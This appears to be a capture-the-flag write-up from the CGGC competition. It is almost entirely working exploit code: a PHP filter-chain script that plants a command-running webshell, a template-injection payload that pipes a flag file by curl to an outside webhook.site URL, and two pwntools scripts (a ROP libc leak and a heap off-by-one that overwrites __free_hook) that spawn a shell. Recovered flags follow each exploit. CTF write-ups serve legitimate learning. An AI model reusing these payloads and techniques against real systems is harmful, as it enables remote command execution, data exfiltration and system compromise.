php filter to RCE
use tool to generate RCE stream
python ~/php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php system($_REQUEST{'cmd'}); ?>'
then according to preg_match函数绕过. We use a lot of |convert.base64-encode|convert.base64-decode
to bypass preg_match
regex check
python script:
import requests
begin = "php://filter/"
phpchain = # ...
fill = "|convert.base64-encode|convert.base64-decode"
nop = fill * ((1000000 - len(phpchain)) // len(fill) + 1)
end = "/resource=my"
url = "http://10.99.111.111:12345/"
res = requests.post(url, data={"filename#": begin+phpchain+nop+end, "cmd": "cat /flag-ba09fe3bdadb"})
# res = requests.post(url, data={"filename#": "php://filter/my=1"})
print(res.text)
CGGC{pHp_lFi_1s_5o_fuunnnnn!}
first blood 🎉
JWT secret is '' (just no character)
http://10.99.111.109:5000/admin?data={'user_id':%202,%20'role':%20'admin',%20'hack':%20{''.__class__.__mro__[1].__subclasses__()[140].__init__.__globals__['system']('curl -d $(cat /ctf/Flag.txt | base64) https://webhook.site/ffea76e7-47e6-4cc9-9f78-be6d23285d1c').__str__()}}
CGGC{"S$T1_V3RY_EZ_2_Pwn3D_C0ngr4t$"}
from pwn import *
binary = "./chal"
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary
conn = remote("10.99.111.107", 4240)
# conn = process(binary)
gdbscript = """b main
continue
"""
# conn = gdb.debug(binary, gdbscript)
# pop rdi
# 0x0000000000401373 : pop rdi ; ret
pop_rdi = 0x401373
puts_got = 0x404018
puts_plt = 0x4010a0
main = 0x4011f6
# __stack_chk_fail to main
conn.sendlineafter(b"address: ", str(0x404020).encode())
conn.sendlineafter(b"Value: ", str(0x4011f6).encode())
chain = flat([pop_rdi, puts_got, puts_plt, main])
conn.sendlineafter(b"Try your best!", b"A"*0x30+b"B"*0x8 + chain) # trigger stack canary
# nothing
conn.sendlineafter(b"address: ", str(0x404020).encode())
conn.sendlineafter(b"Value: ", str(0x4011f6).encode())
conn.sendlineafter(b"Try your best!", b"A"*30+b"B"*0x8)
conn.recvuntil(b"Bye!\n")
# leak libc
leak = u64(conn.recvline()[:-1].ljust(8, b"\x00"))
print(f"leak = {hex(leak)}")
libcbase = leak - 0x84420
print(f"libcbase = {hex(libcbase)}")
system = libcbase + 0x52290
print(f"system = {hex(system)}")
# 0x00000000001b45bd : /bin/sh
binsh = libcbase + 0x1b45bd
print(f"binsh = {hex(binsh)}")
# 0x0000000000022679 : ret
ret = libcbase + 0x22679
# nothing
conn.sendlineafter(b"address: ", str(0x404020).encode())
conn.sendlineafter(b"Value: ", str(0x4011f6).encode())
chain = flat([pop_rdi, binsh, ret, system])
conn.sendlineafter(b"Try your best!", b"A"*0x30+b"B"*0x8 + chain) # trigger stack canary
# nothing
conn.sendlineafter(b"address: ", str(0x404020).encode())
conn.sendlineafter(b"Value: ", str(0x4011f6).encode())
conn.sendlineafter(b"Try your best!", b"A"*30+b"B"*0x8)
conn.interactive()
CGGC{00ps_h0w_d1d_y0u_f1nd_that_addr3ss}
from pwn import *
binary = "./chal"
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "info"
context.binary = binary
conn = remote("10.99.111.107", 4241)
# conn = process(binary)
gdbscript = """b main
b add_note
b delete_note
b show_note
b edit_note
b *(main+0xe2)
continue
dis b
en b 6
continue
en b
"""
# conn = gdb.debug(binary, gdbscript)
def add(idx: int, size: int):
conn.sendlineafter(b"choice: ", b"1")
conn.sendlineafter(b"index: ", str(idx).encode())
conn.sendlineafter(b"Size: ", str(size).encode())
def delete(idx: int):
conn.sendlineafter(b"choice: ", b"2")
conn.sendlineafter(b"index: ", str(idx).encode())
def show(idx: int) -> bytes:
conn.sendlineafter(b"choice: ", b"3")
conn.sendlineafter(b"index: ", str(idx).encode())
data = conn.recvuntil(b"\n", drop=True)
return data
def edit(idx: int, content: bytes):
conn.sendlineafter(b"choice: ", b"4")
conn.sendlineafter(b"index: ", str(idx).encode())
conn.sendafter(b"Content: ", content)
for i in range(8):
add(i, 0x28)
add(8, 0x28)
add(9, 0x28)
add(10, 0x28)
for i in range(11,16):
add(i, 0x28)
for i in range(1, 8):
edit(i-1, b"\x00" * 0x28 + b"\x91")
edit(8, b"\x00" * 0x28 + b"\x41")
delete(9)
add(9, 0x37)
delete(10)
edit(9, b"A" * 0x38)
leak = u64(show(9)[0x38:].ljust(8, b"\x00"))
print(f"leak: {hex(leak)}")
heapbase = leak - 0x10
print(f"heapbase: {hex(heapbase)}")
edit(9, b"\x00" * 0x28 + p64(0x31) + b"\x00"*8)
add(10, 0x28)
edit(9, b"\x00" * 0x28 + p64(0x91) + b"\x00"*8)
for i in range(1, 1+7):
delete(i)
delete(10)
edit(9, b"A" * 0x38)
leak = u64(show(9)[0x38:].ljust(8, b"\x00"))
print(f"leak: {hex(leak)}")
libcbase = leak - 0x1ecbe0
print(f"libcbase: {hex(libcbase)}")
edit(9, b"\x00" * 0x28 + p64(0x91) + p64(leak))
edit(12, b"\x00" * 0x20 + p64(0x90) + b"\x90")
delete(13)
system = libcbase + 0x52290
freehook = libcbase + 0x1eee48
add(1, 0x18)
add(2, 0x18)
add(3, 0x18)
add(4, 0x18)
edit(1, b"/bin/sh\x00" + b"\x00" * 0x10 + b"\x51")
edit(2, b"\x00" * 0x18 + b"\x51")
edit(3, b"\x00" * 0x18 + b"\x51")
conn.sendlineafter(b"choice: ", b"8")
delete(4)
delete(3)
delete(2)
add(2, 0x47)
edit(2, b"\x00" * 0x18 + p64(51) + p64(freehook) + b"\x00"*0x20)
add(3, 0x48)
add(4, 0x47)
edit(4, p64(system)+b"\x00"*0x40)
delete(1)
# show(9)
conn.interactive()
CGGC{class1c_heap_chal_w1th_0ff-by-0ne}